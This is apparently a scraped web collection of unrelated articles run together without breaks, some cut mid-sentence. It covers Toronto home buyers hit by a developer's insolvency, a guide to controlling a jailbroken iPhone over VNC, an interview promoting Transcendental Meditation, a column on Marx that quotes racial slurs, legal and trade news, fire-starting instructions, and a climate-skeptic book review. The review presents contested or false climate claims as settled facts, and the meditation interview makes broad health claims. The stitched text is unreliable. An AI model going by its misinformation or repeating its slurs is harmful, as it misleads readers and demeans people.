“I knew $600,000 for a home of my size and a modern design was a pretty good deal. I didn’t expect it to be of super high quality,” said Kristina. “Did I think they would take my money, and I would never get the house? No, I didn’t think there was any foreseeing that.” She is among hundreds of disappointed home buyers stuck in limbo since Urbancorp revealed in April it was undergoing restructuring proceedings, including the proposed sale of some of its assets, under the Bankruptcy and Insolvency Act.
Article Continued Below
On Monday, bids close on at least four of those assets: the 1780 Lawrence Ave. W. site where Achilles bought; 177 Caledonia Rd.; 15 Mallow Rd.; and 425 Patricia Ave. Two other Urbancorp projects, Bridlepath and Woodbine, are also part of the court-supervised restructuring that was announced as a move to allow Urbancorp to complete the construction of 1,050 homes. Achilles figures the best she can expect is a return of the deposit. Ontario’s new home warranty agency, Tarion, could provide some relief with deposit refunds of up to $40,000 for freehold home buyers, which covers most new homes except apartment condos. The maximum deposit protection for those is $20,000. But even |
’ll see a bunch of numbers, but the important one is your IP Address.
Now open your chosen VNC viewer. Mac users can use the in-built Screen Sharing tool or another remote access tool for Mac How to Remote Access Your Mac How to Remote Access Your Mac Need remote access to your Mac? We show you how to remotely control a Mac from another Mac, Windows, or even a smartphone. Read More. Another good alternative for any operating system is the free RealVNC Viewer, available for every major operating system including Windows, Linux, Android, and iOS.
To connect, simply point your VNC viewer app at the iOS device’s IP Address you noted earlier. I had trouble connecting without a password, so I’d recommend setting one and trying again if you have any problems. If all goes well, you should see your iOS device’s display appear on screen.
Controlling Your Device
If you’re going to rely on this method, you should be aware that your target device’s IP address may change from time to time. An easy way to solve this is to reserve a static IP using your iOS device’s MAC address. You can find the MAC address under Settings > General > About, then consult our guide for instructions on assigning a static IP What Is a Static IP Address, How Do I Get One & Its Advantages/Disadvantages What Is a Static IP Address, How Do I Get One & Its Advantages/Disadvantages In home networks, IP addresses aren't usually fixed, but they do fall within specific ranges. A static IP address doesn't change. What are the advantages to this, and why would you want one? Read More.
Veency includes a few basic controls to get access to common iOS functions:
Left click: a regular tap
a regular tap Right click: home button
home button Middle click: lock button (workaround required for Mac)
If you’re connecting via Mac, you likely won’t have a three-button mouse but you can download MagicPrefs (free) to add your own shortcut. If you find any other workarounds, let us know in the comments, though it’s not a huge issue since your iPhone will lock itself in due time.
You can type as normal using your computer’s keyboard, and swipe or long-tap using your trackpad and regular mouse clicks. Depending on your network speed, you may see a bit of slowdown, but performance is good enough despite some screen tearing and glitchy artifact.
Now that your iPhone can be controlled remotely, at least over a local network connection, you can do some cool things like:
Use SMS or iMessage from Windows, Linux, or even Android!
from Windows, Linux, or even Android! Control what Music is playing without getting up.
without getting up. Access your device anywhere you can get Wi-Fi in your house.
you can get Wi-Fi in your house. Play tricks on your friends or significant other…
There are limitations too. You won’t be able to transmit voice data, so Siri won’t work unless you’re close by. I couldn’t get sound to work, either locally or via the VNC viewer. By extension, calls and video calls won’t really work either. I also couldn’t find any way to bring up Control Center or Notification Center, since swiping from the bezels wasn’t possible.
Worth It?
There’s a novelty in accessing iOS via Android or sending iMessages from your Linux desktop, but is that enough to make this whole process worth it? For Mac users, the answer is probably no.
Looking for an iPhone app to control your entertainment equipment? Try Peel Smart Remote How to Use the Peel Smart Remote App to Control Your Entertainment Equipment How to Use the Peel Smart Remote App to Control Your Entertainment Equipment The Peel Smart Remote app provides a great way to control all your devices from your Android phone or iPhone. Here's how to start using it. Read More. We’ve also shown how to fix your iPhone’s Bluetooth Is Your iPhone's Bluetooth Not Working? We'll Help You Fix It Is Your iPhone's Bluetooth Not Working? We'll Help You Fix It Is your iPhone Bluetooth not working? Here's how to perform common Bluetooth tasks and fix Bluetooth problems on your iPhone. Read More if that’s holding you back.When I last posted Breathe, we were all unsure of what the status of the track was, as the track ended abruptly as if it had been cut off. Well you don’t know have to wonder anymore, as the official vocal edit has been leaked featuring the beautiful vocals of Krewella. Everyone was very receptive of this new sound, so I’m curious what you guys think of this new vocal edit!
I received an email from someone claiming they had “hacked OWSLA” but I highly doubt that… Sounds like some 4chan noob trying to seem cool.
Skrillex – Breathe (Vocal Edit) [download]
I started this website in 2009 as a means of sharing my EDM findings with my friends. Since then, the website has experienced an explosion in growth that I never once imagined. This excitement and growth inspires me to make ElectroJams the #1 source for new electronic music.MUMBAI: Russian state atomic energy corporation Rosatom opened a regional centre in Mumbai, which would coordinate the company's projects in India and Bangladesh.Rosatom are the makers of Kudankulam Nuclear Power in India. Unity 1 and 2 are complete, while the construction of 3rd and 4th unit is underway. The company hopes to get started with building the final two power units by end of this year.According to South Asia CEO Alexey Pimenov, the worldwide creation of regional centres’ network was due to expansion of Rosatom’s global presence and a long-term development strategy, according to which the purpose of the company for the next ten years was to increase the portfolio of foreign orders up to $150 billion.Similar regional centres of Rosatom had already been opened in Western Central and Eastern Europe, Latin America, Central Asia, East and South-East Asia, the Middle East and North Africa.Andrei Zhiltov, consul general of the Russian Federation in Mumbai, said he hopes to get a new plot of land to build a new nuclear project in one to two years."Indian market is booming and there is space for everyone. We would like to continue to build," said Zhiltov. "Serial production of units brings down cost as one does not have to move equipment and personnel. We don't want interruptions."The French cable manufacturer Nexans has announced the completion of a 600 kW PV system on the rooftop of the company’s manufacturing facility near Beirut, Lebanon.
The company said the project was co-financed by its local unit Liban Cables and the World Bank Group-Global Environment Facility (GEF) Program. The installation is the first PV project that was completed within the framework of Lebanon’s Small Decentralized Renewable Energy Power Generation (DREG) Project.
The program covers a portion of the solar system’s cost through a grant by the GEF while the remaining cost will be financed through the National Energy Efficiency and Renewable Energy Action program (NEEREA) set up by Lebanon Central Bank.
The 1,900 PV panels installed at Liban Cables, which are replacing one of its six diesel electric generators, will cover around 8% of the electricity needs of the facility, the company added.
The DREG program is being financed by the GEF and is managed by the Ministry of Energy and Water (MoEW) of the Government of Lebanon in coordination with the Lebanese Center for Energy Conservation (LCEC). The implementation of the program is being conducted by the United Nations Development Programme (UNDP).
The program provides co-financing for the selected projects in the form of a grant, an enforced supportive policy and regulatory environment for attracting investments, and monitoring and quality control for renewable energy-based decentralized power generation.New Research on Chronic Anxiety and the
Transcendental Meditation Technique
An Interview with David Orme-Johnson, Ph.D.
David Orme-Johnson, Ph.D., is a leading researcher of the Transcendental Meditation technique. He has published over 100 scientific papers, edited Volumes I and V of The Transcendental Meditation Program: Collected Papers, and served as an NIH consultant on meditation research. In a recent meta-analysis published in the Journal of Alternative and Complementary Medicine, Dr. Orme-Johnson and Georgia Regents University researcher Vernon Barnes, Ph.D., found that the Transcendental Meditation® technique has a significant effect on reducing trait anxiety for people with high anxiety.
Due to chronic stress and the resulting chronic anxiety, many people feel sick, fatigued, or unable to cope with the demands of life. The fact is that a large proportion of our modern civilization is dealing with PTSD and chronic anxiety.
Here Dr. Orme-Johnson shares his reflections on this groundbreaking research with Enlightenment readers.
Linda Egenes: What is trait anxiety, and how big a problem is it?
Dr. Orme-Johnson: Trait anxiety is chronic anxiety, the level of anxiety that stays with a person from day-to-day, as opposed to the anxiety that comes with a specific problem but then subsides. Chronic anxiety is the most common mental health problem in the United States today, impacting 40 million US adults—and that’s about 18 percent of the population—every year. Chronic anxiety not only is a risk factor for cardiovascular disease and other chronic diseases, but it also leads to increased use of tobacco, alcohol, and other drugs when people self-medicate to reduce their anxiety.
Linda Egenes: How does anxiety relate to stress?
Dr. Orme-Johnson: Stress is the fight-or-flight reflex, which prepares the body to engage in battle or to escape when we are faced with a threatening situation. As part of the stress response, a number of physiological changes occur. The breath rate accelerates, the heart beats faster, the blood pressure increases, muscles become tense, hands and feet become cold and sweaty, and the mouth becomes dry. And what is all this for? The stress response has a valuable function. It focuses our attention and heightens our senses, which mobilizes the body for a dynamic response to a threat.
Stressful experiences will exacerbate anxiety issues that a person may already have. A person with anxiety issues will find that stressful situations increase their anxiety. Or stress may create new anxieties. A soldier almost getting blown up and seeing his buddies killed may be haunted by the experience for the rest of his life, and anxiety is a major component of that syndrome, called post-traumatic stress disorder (PTSD).
Linda Egenes: So the stress response is good when it saves your life in a threatening situation, but not so good when it becomes chronic?
Dr. Orme-Johnson: Right. Stress hormones such as cortisol get elevated during this fight-or-flight reflex, and that’s a good thing for dealing with a dangerous situation. But if you are experiencing a prolonged period of stress—difficulty with your boss, or your computer crashes and you lose your critical data, or you’re a soldier on a long tour of duty—your body is continually being activated in that fight-or-flight reflex. Over time, this often results in chronic stress response and chronic anxiety, which deplete your body’s ability to respond to stress. Even a single powerful stressful experience can result in a chronic stress response and chronic anxiety.
Due to chronic stress and the resulting chronic anxiety, many people feel sick, fatigued, or unable to cope with the demands of life. The fact is that a large proportion of our modern civilization is dealing with PTSD and chronic anxiety.
Linda Egenes: How does the TM technique reduce anxiety?
Dr. Orme-Johnson: The effects of the Transcendental Meditation technique on the body are exactly the opposite of the stress response. The TM technique decreases respiratory rate, decreases heart rate, decreases blood pressure, and decreases muscle tension. The palms become dryer, as measured by the galvanic skin response, and levels of the stress hormone cortisol drop.
The interesting point is that the Transcendental Meditation technique is not only effective in reducing anxiety from short-term trauma, but is also highly effective in reducing the chronic anxiety that people experience when they have PTSD.
“I was a member of the team of TM teachers that went to Armenia in 1989 immediately after a major earthquake in which thousands of people were killed. During the first meditation, tears began to roll down people’s faces. One soldier I taught who was suffering from shell-shock could not speak. After he was instructed in the TM technique, he started talking again.”
I was a member of the team of TM teachers that went to Armenia in 1989 immediately after a major earthquake in which thousands of people were killed. The whole country was traumatized. Every person had lost a family member or a friend, or had helped dig people out of the rubble. Over a six-month period, I personally taught the Transcendental Meditation technique to 2,000 people, and our group taught well over 40,000 people.
During the first meditation, tears began to roll down people’s faces. One soldier I taught who was suffering from shell-shock could not speak. After he was instructed in the TM technique, he started talking again. One woman was so traumatized that she was afraid to come out of her room. After learning TM, she rounded up her friends to learn, because she felt such relief from her fear and anxiety.
Linda Egenes: After doing research on the TM technique for so many years, that must have been a moving experience, to see the effects first-hand in such a dramatic situation.
Dr. Orme-Johnson: Yes, it was incredibly fulfilling. And the interesting thing is that by stepping out of chronic stress and anxiety, the person gains more physiological reserves to deal with future stress. For example, if you measure the resting levels of breath rate, heart rate, and blood pressure in TM practitioners, they are lower than in the control subjects. Many studies have also shown that meditators have lower baseline levels of cortisol outside of meditation. This means that when the stressful situation happens, the TM meditators actually have a greater cortisol response—a faster increase in cortisol when needed.
In the first study that I ever did, published in Psychosomatic Medicine in 1973, we found that with the practice of TM, subjects not only responded more vigorously to a stressor, but with repeated stimulation from repeated stressors, the meditators recovered faster than the control groups. And their autonomic nervous systems—that part of the nervous system involved in emotions and motivation—were more stable. This is a physiological correlate of decreased anxiety.
Linda Egenes: Let’s talk about your new meta-study. Can you explain why the results were greater for highly stressed populations, such as prisoners?
Dr. Orme-Johnson: Well, if you are not anxious to begin with, it won’t change much with meditation. TM balances the system, so it will balance what’s out of balance, which may be different for different people. We already knew from research that the Transcendental Mediation technique gives relief from stress due to the physiological changes taking place during meditation. And in looking at the studies on prisoners and other people who are highly anxious, we have found that within a few days, or within a couple of weeks, trait anxiety decreases dramatically.
This finding was based on combining the results of 16 randomized-controlled trials, the gold standard in medical research, to determine an overall effect. There were a total of 1,295 subjects in the studies.
As a result of practicing the Transcendental Meditation technique, individuals with anxiety levels in the 90th percentile—higher than 90 percent of the rest of the adult population—showed dramatic reductions in anxiety. Their anxiety levels dropped to the 57th percentile, slightly above what is considered average.
Linda Egenes: What about people with less anxiety—did their anxiety levels go down too?
Dr. Orme-Johnson: Yes. The groups in the study that started in the 60th percentile, a little above average, showed more modest reductions, to the 48th percentile, which is a little below average.
The meta-analysis also found that the TM technique produces significant improvements in other areas impacted by anxiety, such as blood pressure, insomnia, emotional numbness, family problems, employment status, and drug and alcohol abuse. And prisoners showed decreased recidivism and rule infractions.
In addition, research shows that the TM technique improves clarity of thinking, creativity, and brain functioning, as shown by increased EEG coherence. All of these factors have the effect of reducing anxiety. A lot of anxiety is produced when we don’t know what to do in a situation. The rest that TM produces is not just physiological rest. TM makes your thinking clearer, and then you are not so anxious because you can see how to deal with a problem and solve it.
“The rest that TM produces is not just physiological rest. TM makes your thinking clearer, and then you are not so anxious because you can see how to deal with a problem and solve it.”
Linda Egenes: So people with low anxiety may benefit in other ways from practicing the Transcendental Meditation technique?
Dr. Orme-Johnson: Yes. For example, the group that showed the least change in anxiety was a group of coronary heart patients who had metabolic syndrome. In this group, anxiety was a secondary concern compared to their heart disease. Because their anxiety levels weren’t high to begin with, their anxiety levels didn’t change as dramatically. But their metabolic syndrome improved, and the study concluded that TM had a statistically significant effect on other important measures, such as improved metabolic syndrome, decreased systolic blood pressure, decreased insulin resistance, and heart rate variability.
So even if a person is not highly anxious to begin with, whatever health issues they do have are going to be balanced out, because during the practice of TM the physiology normalizes itself.
Linda Egenes: How does that happen?
Dr. Orme-Johnson: Everybody knows that when you get sick, probably the most important part of the treatment is that you rest. The body has its own self-regulating mechanisms—we call it your homeostatic feedback system—which are constantly trying to perfect your system and to balance it out to its most ideal state. During rest those mechanisms come into play, and the body repairs itself.
The TM technique produces a unique level of coherent deep rest, which allows your body to normalize itself. So whatever imbalances are there, TM is going to help rebalance them. And that is what the research shows.
Linda Egenes is co-editor of Enlightenment: The Transcendental Meditation® Magazine. She is the author of five books, including Super Healthy Kids: A Parent’s Guide to Maharishi Ayurveda, co-authored with Kumuda Reddy, M.D.When Landon Donovan walks out to play the final game of his career in what could be a record sixth MLS Cup win on Sunday afternoon, it will be the culmination of weeks of staged farewells, tributes, documentaries, commemorative presentations and ceremonies to honor him.
But Donovan’s legacy as a U.S. and Major League Soccer icon will not be celebrated unequivocally in some key quarters. For Donovan, the first U.S. star to elect to build his career in America rather than Europe, has become something of a lightning rod for an ideological battle between U.S. national team boss Jürgen Klinsmann (who is also the technical director for the U.S. Soccer Federation) and Don Garber, the commissioner of MLS, the country’s top domestic league.
Klinsmann’s persistent take on Donovan, one that reached its controversial conclusion with the coach dropping the player from the U.S. World Cup squad this summer, has been that in electing to return to MLS rather than challenge himself in Europe, Donovan has undersold his talent and not demonstrated the level of desire necessary to become a truly top international player and an example to others.
For his part, Garber believes that Klinsmann’s slighting of Donovan’s choices and the groundbreaking example they set for U.S. professionals of what a successful American soccer career could look like is undermining the league — particularly with Klinsmann extending his critique to other top players, such as Clint Dempsey and Michael Bradley, who have started to return to MLS from Europe in Donovan’s wake.
In October, Garber made an uncharacteristically confrontational statement at a press conference where he talked of his “personal disappointment” and issued a “demand” that Klinsmann stop denigrating the league and consider how he “conducts himself” in public. Garber cited Klinsmann’s “inexcusable” treatment of Donovan among the his concerns.
In some social media circles, the spat was treated as Garber inserting his opinion into a personality clash between the league’s golden boy and the head of the national team, but, entertaining as such soap opera narratives were, they tended to obscure deeper structural fissures and concerns for which Garber was only a mouthpiece.“Swampoodle” — whose name was derived from a journalist’s description of the area as “swampy” (because of its proximity to Tiber Creek) and awash in “puddles” — was the heart of Washington’s Irish immigrant community in the mid-19th century. Today it’s dense with city and federal government buildings and thousands of car commuters.
National Guard Memorial Museum and Library. Photo by Amy Rogers Nazarov
National Guard Memorial Museum and Library
1 Massachusetts Ave. NW
A unit of the New York National Guard, the "Fighting 69th" brigade - composed largely of Irish Americans - lost well over a thousand men in the Battle of Fredericksburg, says Anne Armstrong, director of the museum that tells the 378-year-old story of America's "citizen-soldier." "In the history of the Guard, the Civil War was a huge game-changer," Armstrong says.
National Postal Museum. Photo by Amy Rogers Nazarov
National Postal Museum
2 Massachusetts Ave. NE
This museum has 6 million items in its collection, the second-largest in the Smithsonian system. "Most of our material is foreign," says curator of philately Dan Piazza. "If you only tell the U.S. side of the story, it won't make any sense." The William H. Gross Stamp Gallery opened in September 2013.
Flags at the Phoenix Park Hotel. Photo by Amy Rogers Nazarov
Phoenix Park Hotel
520 North Capitol St. NW
Opened as the Commodore Hotel in 1922 by Harry Wardman - whose last name is synonymous with a style of D.C. rowhouse and whose other hotels include the Hay-Adams - the Phoenix Park is named after Dublin's green space of the same name. And, yes, Irish soda bread is on the breakfast menu.
Danny Coleman pulls a pint at The Dubliner. Photo by Amy Rogers Nazarov
The Dubliner Restaurant and Pub
Inside the Phoenix Park Hotel
Over the years politicians with Irish roots - including President Obama, on his mother's side, and the late Speaker of the House Tip O'Neill - have downed pints here. The general manager of the pub is Danny Coleman's son Gavin, whose other restaurant, Sixth Engine, is at 438 Massachusetts Ave. NW, where you can ask the bartender for an off-menu cocktail: the Swampoodle, made with Jameson's Irish whiskey.
St. Aloysius Gonzaga Church
19 I St. NW
Desperate to escape the potato famine, tens of thousands of Irish came to Washington in the mid-1840s, says Kathleen Lane, visiting lecturer at Catholic University's School of Architecture and Planning. "The Jesuits saw an opportunity to create a church close to the Capitol," says Lane, whose ancestors were among those immigrants. The church, as well as the Capitol, features paintings by Italian American artist Constantino Brumidi.
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E-mail us at [email protected] Day celebrations were held all across the fruited plain, with leftist radicals and unionists worshipping the ideals of communism. Communism is an ideology calling for government control over our lives. It was created by Karl Marx, who — along with his collaborator, Friedrich Engels — wrote a pamphlet called "Manifesto of the Communist Party." In 1867, Marx wrote the first volume of "Das Kapital." The second and third volumes were published posthumously, edited by Engels. Few people who call themselves Marxists have ever even bothered to read "Das Kapital." If one did read it, he would see that people who call themselves Marxists have little in common with Marx.
For those who see Marx as their hero, there are a few historical tidbits they might find interesting. Nathaniel Weyl, himself a former communist, dug them up for his 1979 book, "Karl Marx: Racist." For example, Marx didn't think much of Mexicans. When the United States annexed California after the Mexican War, Marx sarcastically asked, "Is it a misfortune that magnificent California was seized from the lazy Mexicans who did not know what to do with it?" Engels shared Marx's contempt for Mexicans, explaining: "In America we have witnessed the conquest of Mexico and have rejoiced at it. It is to the interest of its own development that Mexico will be placed under the tutelage of the United States."
Marx had a racial vision that might be interesting to his modern-day black supporters. In a letter to Engels, in reference to his socialist political competitor Ferdinand Lassalle, Marx wrote: "It is now completely clear to me that he, as is proved by his cranial formation and his hair, descends from the Negroes who had joined Moses' exodus from Egypt, assuming that his mother or grandmother on the paternal side had not interbred with a nigger. Now this union of Judaism and Germanism with a basic Negro substance must produce a peculiar product. The obtrusiveness of the fellow is also nigger-like." Engels shared Marx's racial philosophy. In 1887, Paul Lafargue, who was Marx's son-in-law, was a candidate for a council seat in a Paris district that contained a zoo. Engels claimed that Lafargue had "one-eighth or one-twelfth nigger blood." In a letter to Lafargue's wife, Engels wrote, "Being in his quality as a nigger, a degree nearer to the rest of the animal kingdom than the rest of us, he is undoubtedly the most appropriate representative of that district."
Marx was also an anti-Semite, as seen in his essay titled "On the Jewish Question," which was published in 1844. Marx asked: "What is the worldly religion of the Jew? Huckstering. What is his worldly God? Money.... Money is the jealous god of Israel, in face of which no other god may exist. Money degrades all the gods of man — and turns them into commodities.... The bill of exchange is the real god of the Jew. His god is only an illusory bill of exchange.... The chimerical nationality of the Jew is the nationality of the merchant, of the man of money in general."
Despite the fact that in the 20th century alone communism was responsible for more than 100 million murders (http://tinyurl.com/zafgs5p), much of the support for communism and socialism is among intellectuals. The reason they do not condemn the barbarism of communism is understandable. Dr. Richard Pipes explains: "Intellectuals, by the very nature of their professions, grant enormous attention to words and ideas. And they are attracted by socialist ideas. They find that the ideas of communism are praiseworthy and attractive; that, to them, is more important than the practice of communism. Now, Nazi ideals, on the other hand, were pure barbarism; nothing could be said in favor of them." That means leftists around the world will continue to celebrate the ideas of communism.In a rebuke to a feminist idea that has migrated from college campuses to mainstream culture, an influential legal group overwhelmingly rejected Tuesday a provision that would have endorsed an “affirmative consent” standard for the purpose of defining sexual assault.
In a voice vote at the American Law Institute’s 93rd annual meeting at the Ritz-Carlton, Washington, D.C., the vast majority of an estimated 500-member crowd declined to amend the Model Penal Code to define sexual consent on an affirmative basis.
The MPC is a leading guide for state legislatures to follow when standardizing their penal codes. One of the items up for debate at the annual meeting was how to define “consent” in the context of sexual assault.
Standards of affirmative consent, which generally require parties to affirmatively and continually vocalize their willingness to participate in a sexual encounter, have mostly germinated on college campuses, as well as in a few states in some contexts, including California and New York.
The ALI’s consideration of such a standard has been met with much internal and external criticism.
A group of 120 members wrote a public letter denouncing the proposal, arguing affirmative consent improperly shifts the burden of proof onto the accused when charges of sexual assault are levied. By forcing the accused to prove the near-impossible — that a sexual encounter was vocally agreed upon at each stage — affirmative consent standards deny the accused due process rights, the letter said.
Brookings Institution Nonresident Senior Fellow Stuart Taylor Jr., who attended part of Tuesday’s meeting, applauded the ALI’s rejection of the affirmative consent standard as resistance to an ideologically-driven and unrealistic idea.
“I think it’s a very encouraging indication that the broad membership of the American Law Institute, which is a pretty elite group, has repudiated a radical expansion of sex-crime law that was sought by a powerful faction of people whom I regard as ideologues,” Mr. Taylor said.
He said the ALI’s acceptance of the provision wouldn’t have made affirmative consent “the law anywhere,” but added that it would have been a “step toward it being the law in a lot of places.”
He said affirmative consent is simply an unrealistic standard for governing sex.
“The general problem of affirmative consent is it ignores the reality of how sexual activities often happen, which is they often happen silently,” Mr. Taylor said. “People don’t say, ‘May I touch you here? May I touch you there?’ Or even if they said, ‘May I touch you here?’ they may go on to ‘there’ without verbalizing it.”
“If one party at one point in a sexual encounter is sort of passive, is sort of quiet, then that’s rape,” he said of the standard. “It makes it very easy for prosecutors to coerce plea bargains, or angry former sex partners to put someone in prison. They hardly even have to lie.”
Spearheaded by New York University Law Professor Stephen J. Schulhofer — an influential ALI “Reporter” who sat on a panel at the head of the Ritz-Carlton ballroom during deliberations — the affirmative consent amendment has been through several revisions since an initial draft was introduced in April 2015. Mr. Schulhofer could not be reached for comment.
E. Everett Bartlett, president of the Center for Prosecutor Integrity, who attended the meeting, said the idea of affirmative consent as a way to cut down sexual assault is alluring, but ultimately misguided.
“Affirmative consent sounds wonderful in theory; in reality, it’s a nightmare because it’s impractical, and there’s no way for an accused person to prove his innocence,” Mr. Bartlett said. “The overwhelming vote of the ALI membership to strike affirmative consent from the Model Penal Code was the right thing to do.”
The April 2015 draft defined the consent standard as “positive agreement”; a September 2015 draft dropped the affirmative consent standard for non-penetrative sexual acts; and a December 2015 draft termed the standard “contextual consent,” which critics argued was a distinction without a difference.
The Schulhofer-backed amendment introduced at the annual meeting was somewhat diluted, mentioning the importance of both verbal and nonverbal cues for determining sexual consent.
It defined consent as “a person’s behavior, including words and conduct — both action and inaction — that communicates a person’s willingness to engage in a specific act of sexual penetration or sexual contact.”
In its final form, the proposal did not require explicit vocalization before engaging in sexual acts, as other affirmative consent laws have. But Mr. Taylor said even though “they didn’t call it affirmative consent at the end, that’s what it amounted to.”
The amendment was met by a counter proposal, introduced by former U.S. Pardon Attorney Margaret Love, who defined consent as “a person’s willingness to engage in a specific act of sexual penetration or sexual contact.”
After nearly two hours of deliberations, one ALI member who was in the room said four-fifths of the crowd voiced support in favor of Ms. Love’s amendment.
The ALI still has to vote on other matters regarding sexual assault in order to completely reject the affirmative standard of consent.
Tuesday’s vote dealt with Section 213.0 of the MPC, which only concerns the definition of consensual sex. Section 213.2, for instance, which has not been voted upon, specifically addresses penetrative sexual assault.
After the ALI membership approves a section, only editorial, not substantive changes to the proposed statutory language can be made, meaning the content of Section 213.0 cannot be altered. Numerous other sections still need to be reviewed and approved by the ALI membership, which means final approval of the overall MPC is still a long way off.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Some big news this morning from the front lines of the debate over how to regulate online piracy. Germany, which had said it would follow along with the rest of the European Union in support of ACTA, (Anti-Counterfeiting Trade Agreement), has decided not sign the treaty, according to an Armenian news website citing government sources.
Much like the response to SOPA in the United States, online activists in Europe have been able to generate vigorous pushback through petitions and blackouts of certain sites. And while the movement against ACTA began on the internet, protests are being held in 60 Germany cities tomorrow.
While 22 out of 27 members of the EU have signed on to ACTA, many are now changing their tack in response to the public outcry. “I signed ACTA out of civic carelessness, because I did not pay enough attention,” said the Slovenian ambassador to Japan, Helena Drnovsek Zorko, who had signed. “Quite simply, I did not clearly connect the agreement I had been instructed to sign with the agreement that, according to my own civic conviction, limits and withholds the freedom of engagement on the largest and most significant network in human history, and thus limits particularly the future of our children.”(Reuters) - A federal judge has temporarily exempted Hobby Lobby Stores Inc from a requirement in the 2010 healthcare law that it offer workers insurance coverage for birth control, which the retailer said violated its religious beliefs.
An illustration picture shows a woman holding a birth control pill at her home in Nice January 3, 2013. REUTERS/Eric Gaillard
The preliminary injunction issued by U.S. District Judge Joe Heaton in Oklahoma City, where Hobby Lobby is based, covers the arts and crafts chain and its affiliated Mardel Christian bookstore chain.
He put the case on hold until October 1, giving the federal government time to decide whether to appeal a June 27 decision by a federal appeals court in Denver to let Hobby Lobby challenge the mandate on religious grounds.
A U.S. Department of Justice spokesman had no immediate comment. The government has said contraception coverage is needed to promote public health and gender equality.
The Becket Fund for Religious Liberty, a nonprofit law firm representing Hobby Lobby, said there are 63 lawsuits nationwide challenging the mandate.
It said Hobby Lobby is the largest company to be excused, at least temporarily, from having to comply. Hobby Lobby has 556 stores in 45 U.S. states, and has about 13,000 employees.
The Green family, which owns Hobby Lobby, had argued that providing coverage to workers for the morning-after pill and similar contraceptives violated its Christian beliefs.
It also said it could have under Obamacare faced $1.3 million in daily fines by not providing such coverage.
In a written order, Heaton said the size of those penalties, the “substantial” public policy issues involved, and the amount of similar litigation justified an injunction for Hobby Lobby.
“There is a substantial public interest in ensuring that no individual or corporation has their legs cut out from under them while these difficult issues are resolved,” Heaton said at a hearing, according to the Becket Fund.
In its June 27 ruling, the Denver appeals court said there was a good chance that Hobby Lobby would ultimately prevail.
It said Hobby Lobby had “drawn a line at providing coverage for drugs or devices they consider to induce abortions, and it is not for us to question whether the line is reasonable.”
Lori Windham, senior counsel for the Becket Fund, said in an interview that Heaton’s decision “shows that companies can be protected from the mandate, and continue to exercise their religious beliefs in the way they run their businesses.”
The case is Hobby Lobby Stores Inc et al v. Sebelius et al, U.S. District Court, Western District of Oklahoma, No. 12-01000.Hey Newsletter Subscribers — Sorry about the incorrect link!
Click here to see the photos for Making Char Cloth
The Uber Match
(As featured in the Setpember 2011 issue of Practically Seeking)
The ability to get a fire going can be the difference between life and death. That is why I always have multiple means of creating one at my disposal.
The Uber Match is simple to make, and when done correctly is reliable, along with being highly water and wind resistant. Why you would NOT have a couple of these in ANY outdoor kit I cannot fathom!
Though traditionally made using strike anywhere matches (yes, you can still find them in this post 9-11 world) they can also be made using strike-on-the-box varieties — just make sure you have the box striker as well or you are screwed.
An Uber Match will burn for 5-7 minutes easily, produces a much larger flame than a standard match and gives off far more heat.
A major trick to making sure your Uber Matches will really work well is to allow a little bit of space between the matches and just below the match head.
Now onward with the process!
Step-by-step Instructions on How to Make an Uber Match:
Take out 4 matches, preferably of the strike-anywhere variety. (These are the ones that have a white tip on the red match-head.) Completely unroll a regular cotton ball, and then split it in half, length-wise. (One cotton ball makes two Uber Matches.) Melt paraffin wax (our preferred wax for this and available at your grocery or hardware store) or any other type of wax (old candles, crayons, beeswax, etc) in a small container over low heat. An old tuna can works great for this and will sit easily on the stove burner. While your wax |
0s to 1998. This happened in a time frame when CO2 levels dramatically rose as well. However, it's also a fact that global temperature have been flat since 1998 despite record CO2 levels. All of the IPCC's predictions of higher temperatures during the past decade have been completely wrong. (The IPCC now claims the warmth is "hiding" in the deep ocean water - but this is pure speculation.)
3) It's a fact that climate varies tremendously. In the past 1000 years, climate has been both colder (1400-1800s) and warmer (1000-1300) than today (all at a time when CO2 was much lower).
4) Today's Arctic ice decline is not unprecedented (note: Antarctic ice is actually growing). It happened during the "Medieval warming" period. Today, it's more likely due to soot and natural variability than CO2.
5) There's extensive evidence of climate cycles (11, 22, 60, 87 and 1000 years, etc), which are likely driven by the sun. (The IPCC assumes the sun's output is constant.) These cycles are likely responsible for most of the temperature increase from the 1970s-1990s and the flat global temperatures of the past 15 years. In fact, the sun has been slowly entering a quiet phase- which may mean decades of global cooling to come.
6) Extreme weather can't be attributed to GW. I could speculate and blame hurricane Sandy on the transition to global cooling but that'd be as irresponsible as the IPCC's forecasts.
7) Scientific consensus carries weight in mature fields, not cutting edge science. "Experts" can and have been completely wrong before. E.g., it took decades of fierce debate before plate tectonics and quantum mechanics became the "new" consensus. Scientists in one field are no more knowledgeable of other fields than laymen. Climate scientists have no background in solar physics or cosmic rays, so it's natural they ignore the sun. (Just like chemists used to ignore quantum theory until it was forced upon them.)
8) The IPCC is a political organization who's charter is to investigate manmade climate change, not natural variability. IPCC reports are distorted by the editors- there's far greater diversity of views among climate scientists. The science is far from "settled".
9) FV/SL's conclusion is that rising CO2 levels is a genuine long-term concern (even 1.1 C can be a problem), not a crisis. We have decades to slowly shift over to a carbon-free economy. But this moderate view (shared by Matt Ridley and Bjorn Lomborg) is much maligned by both the left and right.
The book has far more technical detail than this summary. In fact, there may be more detail than the typical layman will want. However, it's essential reading for those who are interested in scientific truth.
Bottom-line: You should be skeptical of the sun-climate connection. But you should be even more skeptical of IPCC alarmism. (At first it was probably driven by genuine concern but now it's driven more by the funding/hype that climate science now receives due to the "crisis".) The good news is the debate will be over soon. The sun is entering a quiet phase now (no sun spots) and we should know within the next 10-15 years which side is correct.
Note: I used to be very concerned- even depressed- about GW. I used to be angry at GW skeptics- but I became a skeptic myself after learning the above facts. I hate to say this, but GW has become for liberals what creationism is for conservatives, i.e. a matter of blind faith.Listening to electrons: new method brings scaling-up quantum devices one step closer
PhD students James Colless and Alice Mahoney preparing a dilution refrigerator for experiments on quantum dots. Temperatures close to absolute zero are required to study the quantum behaviour.
Quantum devices will revolutionise computing, enabling huge calculations to be completed that classical computers simply cannot do.
We're now one step closer to quantum computing becoming a reality thanks to research led by a team of University of Sydney physicists, who have found a new way to detect changes in charges smaller than one electron.
The research is published in this week's edition of Physical Review Letters.
"Our new method for detecting charge in quantum systems is exciting and has implications for a range of nanotechnologies," said Associate Professor David Reilly, from the ARC Centre for Engineered Quantum Systems in the School of Physics at the University of Sydney.
